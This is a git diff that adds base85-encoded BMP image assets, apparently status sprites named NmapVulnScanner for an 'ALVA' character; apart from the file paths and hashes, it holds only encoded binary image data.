zU(p+*H5{~!q!vw>n&CErCAZ_QI~QIuqKrd{rP`NQ1X$>qhx#s`lsyZaTzCM06)zP^|WXj(Tz+p7_A_e(1Vd;53N&~JkR zZJ%e2_6^dJ)_VMWs=R7=XmuNaf&iXfTXQkA@^>JA6!>GyZEk?+{x7$-7cF)=rn0<( z?xyyoX_@sEWo|kq4obS&zJZ<9Wp!DZsUH3oQtCKs$A+4!?Bo=CEmI5^|9Pu3!>QjdY(uREWy!3@Hne7uLS;_SJmx1 zAm{HWqyX(4{)s!EXB{0F0$r#0_LJ%#-t^CJ43k;Ih*7Ra);nF~OAOg@5rF9L>=k3+ zDN0R?_Qk0RNllEBrg0y)oq9i>_|yOY8Y_4RunWAEGnYFVjE{U=|F&&pesm22ehmwb zIiqK>vHmL^^mj}n1s(|}mKdrluB?VY7pLcf!(F{V{hder-sR7;f;&@UF6+u`yy%#& zZI}d;2e1~Io>i(Rs`P#ujIev$rru15G4Y%fQCe9d%?tm^?K7+t6Gr=o6gY(oORMWz z-h){-_<>R1-lM=K+EVwk_nNz~m)wb~itoI5TnFy@-|L#cYSM4Ag7GrM%imD(WY73= z)6hI{?VIHlGYz9SYzWEHJth7fEB<0o@Z8^K1?#BySZ3}Roxt!2fjKa^``=>nmo(?E z*7-fZf}6m!=z^uQzLe_pyZ2z}75qx~aq+QG(k9JcJ{d%RRsH{|lV89J?0q*iqaiNq zX?wl7{l{#(U?t6Z+FmrtAcVXfU8mm7 z>Bws4-na!${-^ZXU9f&+>g(*$l9aR7Fg8-r#yWd~G58M-w0~J#?1pv6sOj-3Uwd~g gwEUAA(!0U`lx_E{lrL*R+=Ar%pF&BobKk!I0U^5@%K!iX literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner2.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1bed73c6d2b76ba5d3f004f52f6c7a87e721f359 GIT binary patch literal 18462 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp b/resources/default_config/characters/ALVA/status/NmapVulnScanner/NmapVulnScanner3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..35cc8c597be51b9109f5ca07241184c7ef6f568d GIT binary patch literal 18462 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 